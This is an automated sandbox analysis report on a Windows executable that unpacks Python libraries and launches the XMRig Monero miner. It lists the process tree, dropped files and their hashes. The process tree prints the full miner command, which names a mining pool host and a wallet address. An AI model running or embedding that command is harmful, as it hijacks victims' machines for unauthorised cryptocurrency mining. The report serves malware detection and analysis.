Analysis

  • max time kernel
    1733s
  • max time network
    1796s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/01/2023, 06:39

General

  • Target
    642599619.exe
  • Size 6.2MB
  • Sample230106-hemeeaaa6s
  • SHA256 ea3eedc043d02375db791cd0d508259dede55a7cffa2f75f813d4e239aa5bf70
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\642599619.exe
    "C:\Users\Admin\AppData\Local\Temp\642599619.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3776
    • C:\Users\Admin\AppData\Local\Temp\642599619.exe
      "C:\Users\Admin\AppData\Local\Temp\642599619.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5016
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c xmrig-6.18.1\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.RIG_3531 -p x
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exe
          xmrig-6.18.1\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.RIG_3531 -p x
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4488

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\VCRUNTIME140.dll
        • Size 96KB
        • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
        • MD5 SHA1 SHA512 SSDEEP

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\VCRUNTIME140.dll
        • Size 96KB
        • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
        • MD5 SHA1 SHA512 SSDEEP

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_bz2.pyd
        • Size 81KB
        • SHA256 190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2
        • MD5 SHA1 SHA512 SSDEEP

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_bz2.pyd
        • Size 81KB
        • SHA256 190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2
        • MD5 SHA1 SHA512 SSDEEP

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_hashlib.pyd
        • Size 60KB
        • SHA256 23063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969
        • MD5 SHA1 SHA512 SSDEEP

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_hashlib.pyd
        • Size 60KB
        • SHA256 23063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969
        • MD5 SHA1 SHA512 SSDEEP

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_lzma.pyd
        • Size 154KB
        • SHA256 5361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209
        • MD5 SHA1 SHA512 SSDEEP

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_lzma.pyd
        • Size 154KB
        • SHA256 5361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209
        • MD5 SHA1 SHA512 SSDEEP

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_queue.pyd
        • Size 29KB
        • SHA256 24c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a
        • MD5 SHA1 SHA512 SSDEEP

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_queue.pyd
        • Size 29KB
        • SHA256 24c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a
        • MD5 SHA1 SHA512 SSDEEP

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_socket.pyd
        • Size 75KB
        • SHA256 71f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178
        • MD5 SHA1 SHA512 SSDEEP

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_socket.pyd
        • Size 75KB
        • SHA256 71f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178
        • MD5 SHA1 SHA512 SSDEEP

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_ssl.pyd
        • Size 155KB
        • SHA256 4e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482
        • MD5 SHA1 SHA512 SSDEEP

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\_ssl.pyd
        • Size 155KB
        • SHA256 4e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482
        • MD5 SHA1 SHA512 SSDEEP

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\base_library.zip
        • Size 1.0MB
        • SHA256 d6c62ef7c13ccef351473496cfeba6cfeebef91385f27b35f895169938df682f
        • MD5 SHA1 SHA512 SSDEEP

        cacert.pem

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\certifi\cacert.pem
        • Size 278KB
        • SHA256 a59fde883a0ef9d74ab9dad009689e00173d28595b57416c98b2ee83280c6e4c
        • MD5 SHA1 SHA512 SSDEEP

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\libcrypto-1_1.dll
        • Size 3.3MB
        • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
        • MD5 SHA1 SHA512 SSDEEP

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\libcrypto-1_1.dll
        • Size 3.3MB
        • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
        • MD5 SHA1 SHA512 SSDEEP

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\libcrypto-1_1.dll
        • Size 3.3MB
        • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
        • MD5 SHA1 SHA512 SSDEEP

        libssl-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\libssl-1_1.dll
        • Size 686KB
        • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
        • MD5 SHA1 SHA512 SSDEEP

        libssl-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\libssl-1_1.dll
        • Size 686KB
        • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
        • MD5 SHA1 SHA512 SSDEEP

        python310.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\python310.dll
        • Size 4.3MB
        • SHA256 c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948
        • MD5 SHA1 SHA512 SSDEEP

        python310.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\python310.dll
        • Size 4.3MB
        • SHA256 c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948
        • MD5 SHA1 SHA512 SSDEEP

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\select.pyd
        • Size 28KB
        • SHA256 8b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5
        • MD5 SHA1 SHA512 SSDEEP

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\select.pyd
        • Size 28KB
        • SHA256 8b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5
        • MD5 SHA1 SHA512 SSDEEP

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\unicodedata.pyd
        • Size 1.1MB
        • SHA256 a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0
        • MD5 SHA1 SHA512 SSDEEP

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI37762\unicodedata.pyd
        • Size 1.1MB
        • SHA256 a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.18.1\xmrig.exe
        • Size 7.8MB
        • SHA256 acaf8e844ef7f4f65033ebe9546c394cc21bce175dac8b59199106309f04e5ab
        • MD5 SHA1 SHA512 SSDEEP

        memory/4488-163-0x00000156E1BF0000-0x00000156E1C10000-memory.dmp

        memory/4488-164-0x00000156E1C30000-0x00000156E1C70000-memory.dmp

        memory/4488-165-0x00000156E1C70000-0x00000156E1C90000-memory.dmp

        memory/4488-166-0x0000015774300000-0x0000015774320000-memory.dmp

        memory/4488-167-0x00000156E1C70000-0x00000156E1C90000-memory.dmp

        memory/4488-168-0x0000015774300000-0x0000015774320000-memory.dmp